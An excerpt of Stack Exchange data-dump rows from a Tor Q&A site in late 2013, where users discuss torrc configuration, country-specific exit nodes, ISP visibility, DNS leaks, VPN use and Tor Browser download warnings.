  <row Id="884" PostTypeId="2" ParentId="881" CreationDate="2013-12-04T14:38:06.917" Score="0" Body="&lt;p&gt;I agree with @Jobiwan. The bad guys would have to wait for the unlucky tor user to create a circuit with all of their nodes and only their nodes, the odds of which happening due to the number of nodes available is extremely unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I do think that I read somewhere if they controlled an exit node they could (provided they had govt. level resources) see what is going on. Though don't quote me on that.&lt;/p&gt;&#xA;" OwnerUserId="616" LastActivityDate="2013-12-04T14:38:06.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostTypeId="2" ParentId="86" CreationDate="2013-12-04T15:48:24.463" Score="3" Body="&lt;p&gt;If the attacker has some hint that you might be the one running some service (maybe because you mentioned it over unencrypted irc/mail/..), they can quite easily test/confirm it by flooding/killing your host. If the Tor stream they try to analyze and your service take the same hit at the same time, it's confirmed.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-04T15:48:24.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostTypeId="1" CreationDate="2013-12-04T17:57:27.233" Score="2" ViewCount="12722" Body="&lt;p&gt;This is of interest, and was asked earlier about Netflix, but I'd like to do this for a low-bandwidth application. That is, if I'm in the U.S., and I'd like the site I'm looking at to see that my request is from the U.S. If I were to use ExitNodes to do this, what would that .torrc line look like? On a Mac OS, where exactly does that .torrc file go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I understand that this would hugely constrain my available network, and wouldn't be advisable if I didn't have to do it, but I'd still like to understand how to do it. Sure would be nice if there were a more user-friendly way of selecting that option. &lt;/p&gt;&#xA;" OwnerUserId="618" LastActivityDate="2015-06-16T19:20:40.733" Title="selecting a tor node from a particular country" Tags="|configuration|" AnswerCount="2" CommentCount="4" ClosedDate="2014-02-03T09:59:37.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostTypeId="2" ParentId="887" CreationDate="2013-12-04T18:30:09.943" Score="2" Body="&lt;p&gt;torrc sits in /opt/etc/tor/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Mac OS X, the torrc file is within the application.  For version 4.5.2, the path is &lt;strong&gt;(path)/TorBrowser.app/TorBrowser/Data/Tor/torrc&lt;/strong&gt;  (So all users get the same settings, unless they have their own copy of the browser).  “New tor circuit” and “new identity” do not re-read the file—if you want to select a country in this way, you must edit then exit the browser and re-launch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes node, node, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;em&gt;node&lt;/em&gt; is.. (Quoted from &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Manual&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a list of identity fingerprints, nicknames, country codes and address&#xA;  patterns. (Example:&#xA;  ExcludeNodes SlowServer, ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234,&#xA;  {cc}, 255.254.0.0/8)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The country code is {us}&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="7011" LastEditDate="2015-06-16T19:20:40.733" LastActivityDate="2015-06-16T19:20:40.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="891" PostTypeId="1" AcceptedAnswerId="935" CreationDate="2013-12-04T22:45:54.717" Score="5" ViewCount="4340" Body="&lt;p&gt;When using TBB, right-clicking on a link to download it (i.e., &quot;Save Link As...&quot;) generally results in the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An external application is needed to handle:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt; URL of file to be saved &gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NOTE: External applications are NOT Tor safe by default and can unmask&#xA;  you!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have noticed, though, that this does not happen when I download a plain text file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to download, say, a PDF file without launching an external application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the Applications tab of the Preferences menu hoping I'd find a way to prevent an external application from being invoked, but it was not obvious to me that any changes there would help.&lt;/p&gt;&#xA;" OwnerUserId="623" LastEditorDisplayName="user5" LastEditDate="2013-12-04T23:01:55.107" LastActivityDate="2016-03-29T15:12:11.493" Title="Download files without external application?" Tags="|tor-browser-bundle|firefox|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostTypeId="1" CreationDate="2013-12-05T04:34:06.143" Score="2" ViewCount="883" Body="&lt;p&gt;I run Tor on my laptop and my phone. I have Verizon Wireless for a service provider. My laptop Internet connection is tethered through my cell phone. So I just run Tor on my laptop. Can Verizon or any other ISP track browsing history or searches? All of Tor's options are default. Some sites won't load or freeze when I access them. Plus I don't think I have Java enabled. I can't run any videos. I haven't looked into that setting yet.&lt;/p&gt;&#xA;" OwnerUserId="627" LastActivityDate="2013-12-06T03:54:50.913" Title="ISP, WiFi, Tracking" Tags="|tor-browser-bundle|onion-services|anonymity|security|fingerprinting|" AnswerCount="2" CommentCount="1" ClosedDate="2013-12-06T14:30:47.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostTypeId="1" CreationDate="2013-12-01T17:14:04.777" Score="3" ViewCount="4066" Body="&lt;p&gt;I am learning about Tor and Onion routing and I'm trying to compare both services. From the &lt;a href=&quot;http://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow&quot;&gt;wiki link&lt;/a&gt;, I can see that Diffie Hellman (DH) handshake is used and when look into the “&lt;a href=&quot;http://www.onion-router.net/Publications/tor-design.pdf&quot; rel=&quot;nofollow&quot;&gt;tor-design.pdf&lt;/a&gt;” for Tor, I see that DH is still used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since onion routing has been patented, I can't find any source which leads me to the design of onion routing. Can someone clarify this point about signatures in both services? Links to support it would be welcome.&lt;/p&gt;&#xA;" OwnerDisplayName="P R" LastActivityDate="2013-12-05T06:44:13.553" Title="Differences between working of Tor and onion routing" Tags="|onion-routing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="895" PostTypeId="2" ParentId="894" CreationDate="2013-12-01T18:20:20.263" Score="7" Body="&lt;p&gt;As far as I can see it from the original &lt;a href=&quot;http://patft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&amp;amp;Sect2=HITOFF&amp;amp;p=1&amp;amp;u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&amp;amp;r=1&amp;amp;f=G&amp;amp;l=50&amp;amp;co1=AND&amp;amp;d=PTXT&amp;amp;s1=6266704.PN.&amp;amp;OS=PN/6266704&amp;amp;RS=PN/6266704&quot;&gt;onion routing patent&lt;/a&gt;, OR uses long term public keys for encrypting messages for onion routers and there is no description of a key exchange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor can be seen as the second generation onion routing (and is intended to have no patent) and besides adding much more features (adding perfect forward secrecy, congestion control, directory servers, integrity checking, configurable exit policies) it uses a technique denoted as &lt;em&gt;telescoping circuits&lt;/em&gt;, which on the one hand brings other features (such as forward secrecy) but &lt;em&gt;also&lt;/em&gt; helps to circumvent patent issues with the original OR patent (as it does no longer apply the original &quot;long term key&quot; method proposed in the patent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the idea of &lt;em&gt;telescoping circuits&lt;/em&gt; is that a sender negotiates a short-term session key with each node along a path, and uses this key to encrypt the onion layers. Thereby, Diffie-Hellman is is used for key exchange with the onion routers and the negotiated session keys are AES keys.&lt;/p&gt;&#xA;" OwnerUserId="634" OwnerDisplayName="DrLecter" LastActivityDate="2013-12-01T18:20:20.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="896" PostTypeId="2" ParentId="893" CreationDate="2013-12-05T11:40:54.260" Score="2" Body="&lt;p&gt;No, they cannot do that, since all traffic is run through tor. &#xA;Only way they can find that info is by compromising your laptop. &#xA;You are as safe as any other tor user.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-12-05T11:40:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostTypeId="2" ParentId="891" CreationDate="2013-12-05T12:13:33.970" Score="5" Body="&lt;p&gt;&lt;em&gt;Downloading&lt;/em&gt; the file isn't what this warning is about. You don't need an external application to download the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's about the application you use to open the file. That application isn't configured to use Tor and thus sends information from your actual IP if it opens an internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're sure your PDF viewer doesn't leak information about what you view, you're safe. But I wouldn't be sure about that. PDFs can contain many forms for rich content and I wouldn't be surprised if some of them could trigger network traffic (perhaps DNS queries).&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorDisplayName="user5" LastEditDate="2013-12-06T15:09:05.197" LastActivityDate="2013-12-06T15:09:05.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostTypeId="2" ParentId="893" CreationDate="2013-12-05T14:31:08.493" Score="2" Body="&lt;p&gt;Since you're using the default settings of Tor, most scripts are disabled by default (including JavaScript) by a browser add-on called NoScript. Yes enabling JavaScript would allow you to watch movies, but you'd also make yourself vulnerable to people finding out information that could be used to identify you.&lt;/p&gt;&#xA;" OwnerUserId="616" LastActivityDate="2013-12-05T14:31:08.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="901" PostTypeId="1" CreationDate="2013-12-05T14:45:29.220" Score="2" ViewCount="10052" Body="&lt;p&gt;It isn't completely obvious where the &lt;code&gt;torrc&lt;/code&gt; file needs to reside on a Mac (say, 10.6). In &lt;code&gt;Settings-&amp;gt;Advanced&lt;/code&gt;, it appears to be in &lt;code&gt;Applications/TorBrowser_en-US/Library/Vidalia/torrc&lt;/code&gt;. But there is also a &lt;code&gt;USER/.tor&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;Also, FWIW, whenever I use the Tor configuration file editor to try to change that file (for example, adding an &lt;code&gt;ExitNodes&lt;/code&gt; line), I get a&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error at line 1:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;error message. I seem to be unable to successfully edit that file.&lt;/p&gt;&#xA;&lt;p&gt;I'm confused. On a Mac, if I want to add an &lt;code&gt;ExitNodes&lt;/code&gt; line, where exactly does it go and how do I get it there?&lt;/p&gt;&#xA;" OwnerUserId="637" LastEditorUserId="88" LastEditDate="2021-06-12T11:59:02.030" LastActivityDate="2021-06-12T21:20:53.680" Title="torrc on a Mac?" Tags="|configuration|mac|vidalia|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="902" PostTypeId="1" CreationDate="2013-12-05T15:40:40.423" Score="5" ViewCount="1807" Body="&lt;p&gt;I use Tor through Tails, which I am running from a DVD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine with the hard drive in place, and works fine with the hard drive removed but a USB memory stick in one of the other USB ports, but it crashes when booting up if there is no writeable drive connected. Clearly it needs to write something, which I guess explains why it has to delete when I close down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to work around this? It seems obvious that if there is no writeable media at all, there is no risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update.... have tried it with the latest version of Tails.  Does not work.  Perhaps something to do with the hardware?   It works fine from a USB.  Its a mystery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it is on-topic!  And it is reproducable by anyone who has the same equipment.  Sorry but using a VM doesnt cut it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding what the problem is might reveale a security issue, who knows.   &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;sup&gt;Lenovo x61 with USB DVD player without hard drive; TAILS downloaded and installed via &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;tails.boum.org&lt;/a&gt; following their instructions. I have submitted a bug report.&lt;/sup&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="-1" LastEditDate="2014-01-19T22:40:53.460" LastActivityDate="2014-01-19T22:40:53.460" Title="Why can't I boot TAILS without a writable drive installed? Is it possible to do so?" Tags="|tails|" AnswerCount="0" CommentCount="5" ClosedDate="2014-01-17T12:58:11.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostTypeId="5" CreationDate="2013-12-05T18:09:24.130" Score="0" Body="&lt;p&gt;Tor installs a text file called &lt;code&gt;torrc&lt;/code&gt; that contains configuration instructions for how your Tor program should behave.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorDisplayName="user5" LastEditDate="2013-12-07T17:19:22.987" LastActivityDate="2013-12-07T17:19:22.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="904" PostTypeId="4" CreationDate="2013-12-05T18:09:24.130" Score="0" Body="`torrc` is a text file that contains configuration instructions for how Tor should behave." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-12-07T17:18:38.843" LastActivityDate="2013-12-07T17:18:38.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="905" PostTypeId="2" ParentId="901" CreationDate="2013-12-05T21:18:30.473" Score="3" Body="&lt;p&gt;This is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6147&quot; rel=&quot;nofollow&quot;&gt;known issue&lt;/a&gt; in some versions of Vidalia which has been floating around for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing any commented lines from the &lt;code&gt;torrc&lt;/code&gt; file before saving. Supposedly you only need to remove the initial two lines but removing the rest might be best.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-12-05T21:18:30.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="906" PostTypeId="1" CreationDate="2013-12-05T23:18:18.127" Score="32" ViewCount="269123" Body="&lt;p&gt;My question is basically what the title says: does my ISP know what sites I have visited if I am using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that my ISP can know that I am using Tor. In addition I know that my ISP cannot read the data leaving or coming at my PC. Can it however know what sites I have visited, e.g. can it see that I am searching something on Google?&lt;/p&gt;&#xA;" OwnerDisplayName="John Smith" LastEditorUserId="31632" LastEditDate="2021-05-04T22:00:04.760" LastActivityDate="2021-05-04T22:00:04.760" Title="Does my ISP know what sites I have visited if I am using Tor?" Tags="|anonymity|internet-service-provider|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostTypeId="2" ParentId="906" CreationDate="2013-12-06T01:25:50.047" Score="24" Body="&lt;p&gt;If you're using Tor and it's all working correctly then your ISP can't see what websites you're visiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor hides the identity of who you're connecting to (the webserver), so no issues there.&#xA;Additionally, since Tor encrypts your traffic your ISP can't see your HTTP requests, so they can't see what websites you're trying to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the issue of stuff like DNS.&#xA;If you try to resolve a URL using DNS in the clear (without using Tor) then that reveals what websites you intend to visit.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-12-06T01:25:50.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostTypeId="1" CreationDate="2013-12-06T03:42:45.993" Score="3" ViewCount="161" Body="&lt;p&gt;After getting connected to Tor, when other internet browsers are configured on socks 127.0.0.1:9150 will their internet activity remain hidden from Internet Service providers and Trackers?&lt;/p&gt;&#xA;" OwnerUserId="645" LastEditorUserId="88" LastEditDate="2014-03-05T08:01:03.557" LastActivityDate="2014-07-03T21:47:54.413" Title="Does internet activity of all my browsers remain hidden from ISPs?" Tags="|security|socks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="915" PostTypeId="2" ParentId="880" CreationDate="2013-12-06T07:33:04.730" Score="2" Body="&lt;p&gt;It happened to me also until I noticed that the update didn't overwrite the current install but installed itself alongside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look in  your &quot;Tor Browser&quot; directory you may find another &quot;Tor Browser&quot; sub-directory, that's where the new version is (you can double check with the files date).&lt;/p&gt;&#xA;" OwnerUserId="650" LastEditorUserId="71" LastEditDate="2013-12-09T14:21:56.640" LastActivityDate="2013-12-09T14:21:56.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="917" PostTypeId="2" ParentId="910" CreationDate="2013-12-06T18:12:38.633" Score="4" Body="&lt;p&gt;Yes. Tor acts as a filter in a way, encrypting and pumping into the tor network any communications sent through its proxy port of &lt;code&gt;127.0.0.1:9150&lt;/code&gt;. Any browser using this port correctly will have its connection torified, and &lt;a href=&quot;https://check.torproject.org/&quot;&gt;check.torproject.org&lt;/a&gt; will show a green onion if the browser is configured correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Warning:&lt;/em&gt; Tor will only torify connections sent to its proxy port. It will not proxify connections from applets or plugins using settings differing from your browser. Always consider connections made from a plugin not known to use proxy settings correctly as &lt;strong&gt;unsecured and traceable&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2013-12-06T18:12:38.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="918" PostTypeId="1" CreationDate="2013-12-06T20:20:21.427" Score="1" ViewCount="590" Body="&lt;p&gt;When it comes to VPN's I'm a newbie. I recently purchased cover my ass. If I start CMA and get my VPN IP Address then start Tor does Tor use my VPN Address? Will I have a double protection from Big Brothers eyes? Or will Tor simply use my Normal IP Address?&lt;/p&gt;&#xA;" OwnerUserId="654" LastActivityDate="2014-09-18T13:31:09.257" Title="Using Cover my ass and Tor" Tags="|vpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostTypeId="2" ParentId="918" CreationDate="2013-12-07T00:43:53.267" Score="1" Body="&lt;p&gt;I think this would not add any useful security beyond what Tor gives you already.  And also there's the chance of this even adding another way to identify you that does not exist with Tor alone.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor exit nodes can't identify you; but they can read your plain text transmissions. A VPN, on the other hand requires some sort of authentication and knows at least your IP address. And who knows what else? How much do you trust it?  Basically this means there is a machine somewhere that is entirely out of your control that might be able to link your machine (or at lease ip/mac address) to web traffic sent through Tor.   &lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="923" LastEditDate="2014-09-18T13:31:09.257" LastActivityDate="2014-09-18T13:31:09.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="920" PostTypeId="1" CreationDate="2013-12-07T05:24:20.663" Score="2" ViewCount="291" Body="&lt;p&gt;Has anyone here used the TorBrowser with either the products MadMAC's or DNS Crypt? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently testing or rather trying out both to determine if they offer me any added anonymity to my web surfing. I'm still a newbie about DNS leaks and using the TorBrowser (correctly) as well as VPN's and still have a lot to learn. With that said, does anyone know if using MadMAC's and/or DNS Crypt at the same time I'm using my TorBrowser will help my anonymity on web surfing or am I just making things worse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: MadMAC's, in summary it's a script to randomize your machine's MAC address (and host name) in Windows on every boot. It was discussed on the IronGeek website. &lt;a href=&quot;http://www.irongeek.com/i.php?page=security/changemac&quot; rel=&quot;nofollow&quot;&gt;http://www.irongeek.com/i.php?page=security/changemac&lt;/a&gt;. Here's the download. &lt;a href=&quot;http://www.irongeek.com/i.php?page=security/madmacs-mac-spoofer&quot; rel=&quot;nofollow&quot;&gt;http://www.irongeek.com/i.php?page=security/madmacs-mac-spoofer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding DNS Crypt, for those unfamiliar, it helps eliminate DNS leaks and appears to eliminate DNS leaks whether I'm connected to a VPN or even just a regular high speed cable connection with my ISP. Please note I have observed when using the website &quot;DNS Leak Test&quot; to test my TorBrowser for DNS leaks, I tend to see lots of DNS leaks and become concerned, but maybe that is normal because of the way Tor is set up; there's going to be these DNS leaks and maybe am I just over reacting based on how Tor works? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have to say when using DNS Crypt, I'm not sure how much data is going back to OpenDNS to track, though. Couple of other things I do is when I'm not using DNS Crypt, I usually change my Windows 7 preferred and alternate DNS Server Address for IPv4 and IPv6 to an OpenNIC or other public one listed on ShieldsUp website instead of having these configured automatically, which means the DNS Server Addresses are my ISP's. I also turned off my Teredo connection for added security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="656" LastActivityDate="2016-05-21T12:12:32.070" Title="Using TorBrowser with MadMAC's and DNS Crypt products?" Tags="|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostTypeId="1" CreationDate="2013-12-07T06:24:59.643" Score="5" ViewCount="3466" Body="&lt;p&gt;If I'm running the Tor browser and Google Chrome at the same time will my Chrome browser affect the anonymity of my Tor browser?&lt;/p&gt;&#xA;" OwnerUserId="657" LastEditorUserId="88" LastEditDate="2013-12-07T09:12:38.853" LastActivityDate="2014-08-07T06:23:05.863" Title="Does a Tor enabled browser affect other browsers?" Tags="|tor-browser-bundle|anonymity|browsers|chrome|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostTypeId="2" ParentId="921" CreationDate="2013-12-07T09:16:38.583" Score="4" Body="&lt;p&gt;Chrome browser uses an own binary, safes its configuration and other files in a special location. So all things that Chrome does is divided from other software in your system especially from the Tor Browser Bundle. So Chrome does not manipulate a Tor Browser Bundle and the TBB does not manipulate Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you're using Chrome and the Tor Browser Bundle for the same sites and you show the same browsing behaviour the site might be able to connect your sessions. But this is not an issue of Chrome or other browsers, but more about your surfing habits.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-12-07T09:16:38.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostTypeId="1" CreationDate="2013-12-08T05:12:22.883" Score="1" ViewCount="548" Body="&lt;p&gt;I recently updated my TorBrowser bundle, and now the new version apparently randomly denies access to various Web pages.  The pages affected aren't out of the ordinary (for example, I've had this happen using Google and Wikipedia), and sometimes just retyping the URL is enough to get it to work - but sometimes nothing I do will make it work, and there's no discernible pattern to what works and what doesn't.  If I right-click a link and select &quot;Open in New Tab&quot;, a new tab opens but immediately closes again, and the list of recently closed tabs only shows a generic &quot;New Tab&quot; listing; if I type or paste a URL into the address bar on an already open tab, that tab gets closed and listed in the closed tabs with the title of the page it had been on before I typed in the new URL, and Tor apparently never tries to access the new URL.  It's as if Tor itself, or the relay I'm currently using, were censoring my attempts before I make them.  What could be causing this behavior?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-12-08T05:12:22.883" Title="TorBrowser closes my tab as soon as I hit Enter - why?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-21T22:50:58.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="924" PostTypeId="2" ParentId="910" CreationDate="2013-12-08T08:08:06.940" Score="3" Body="&lt;p&gt;If I use Tor browser bundle for windows, other browsers are not automatically torified, so, to torify other browsers, you will have to use ADVTor: &lt;a href=&quot;http://sourceforge.net/projects/advtor/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/advtor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is an option to run specific application through ADVtor software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is different in linux, but as far as I know, here are some explanations: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Howtotorifyspecificprograms&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#Howtotorifyspecificprograms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="923" LastEditDate="2014-07-03T21:47:54.413" LastActivityDate="2014-07-03T21:47:54.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostTypeId="2" ParentId="891" CreationDate="2013-12-08T08:11:34.240" Score="2" Body="&lt;p&gt;if you use web browser you will always get such warnings, if you use linux and you know link for the file, maybe you can use wget or other methods of downloading. but I don't know if wget or other options show your IP address...&lt;/p&gt;&#xA;" OwnerUserId="663" LastActivityDate="2013-12-08T08:11:34.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostTypeId="2" ParentId="887" CreationDate="2013-12-08T08:17:02.733" Score="0" Body="&lt;p&gt;torrc file should have this lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="663" LastEditorDisplayName="user5" LastEditDate="2013-12-08T18:09:21.220" LastActivityDate="2013-12-08T18:09:21.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="927" PostTypeId="1" CreationDate="2013-12-08T11:42:19.420" Score="9" ViewCount="5728" Body="&lt;p&gt;Does my Internet service provider know when and if I download Tor? How could I prevent that?&lt;/p&gt;&#xA;" OwnerUserId="665" LastActivityDate="2019-05-23T14:04:33.327" Title="Does my ISP know if I download Tor?" Tags="|anonymity|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostTypeId="2" ParentId="927" CreationDate="2013-12-08T12:00:53.210" Score="0" Body="&lt;p&gt;It is possible that your ISP knows that you download Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can prevent your ISP from knowing by downloading Tor through a VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, which is not necessarily correct, even if you use HTTPS, ISP might be able to know that you downloaded Tor by looking at the URL you accessed.&lt;/p&gt;&#xA;" OwnerUserId="666" LastActivityDate="2013-12-08T12:00:53.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostTypeId="2" ParentId="927" CreationDate="2013-12-08T12:12:31.687" Score="7" Body="&lt;p&gt;If you use your ISP's default DNS servers then it's practically guaranteed that they'll know you've been on the Tor website. If you make a connection to the Tor website that just happens to download the exact same amount of data as the Tor Browser Bundle then it's possible for them to tie the two together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in a region where they're likely to care about that then it could be an issue. It's worth looking at &lt;a href=&quot;https://tor.stackexchange.com/q/78/71&quot;&gt;this question&lt;/a&gt; for ways to download Tor without your ISP knowing (which I won't repeat here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your region is more open then you can take simpler steps like changing to alternative DNS providers. There are still ways your ISP could track the sites you're visiting but it won't stand out as obviously so that may be enough for you.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-08T12:18:31.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="930" PostTypeId="1" CreationDate="2013-12-08T20:34:07.007" Score="1" ViewCount="1276" Body="&lt;p&gt;I use tor and  it opens up any website but Facebook and Youtube, although I can access them by a proxy. I'm in middle east, what should I do? 348205&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="38869" LastEditDate="2023-11-06T18:35:18.307" LastActivityDate="2023-11-06T18:35:18.307" Title="Only can't access Facebook and Youtube" Tags="|vpn|" AnswerCount="0" CommentCount="3" ClosedDate="2014-06-12T07:59:19.353" ContentLicense="CC BY-SA 4.0" />
  <row Id="931" PostTypeId="1" CreationDate="2013-12-08T20:44:55.760" Score="5" ViewCount="30482" Body="&lt;p&gt;When I launch &lt;code&gt;Start Tor Browser.exe&lt;/code&gt; it indicates that the circuit is established but then immediately gives the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firefox is already running, but not responding. To open a new window,&#xA;  you must first close the existing Firefox process, or restart your&#xA;  system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happens even though Firefox is not running. How can I resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="669" LastEditorUserId="71" LastEditDate="2014-01-29T21:58:59.377" LastActivityDate="2014-04-15T14:03:13.697" Title="Tor Browser says Firefox is already running" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostTypeId="1" CreationDate="2013-12-08T21:17:11.320" Score="1" ViewCount="2699" Body="&lt;p&gt;I make consistent downloads from a specific site. They begin normally, but abruptly stop, usually when they are 2% to 50% completed. After stopping abruptly a pop-up exclaims that all downloads are complete. Any way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="670" LastEditorUserId="923" LastEditDate="2014-03-04T23:39:04.160" LastActivityDate="2014-03-04T23:39:04.160" Title="Downloads via Tor Browser stop abruptly and then say they are finished" Tags="|tor-browser-bundle|support|" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-21T22:51:46.677" ContentLicense="CC BY-SA 3.0" />
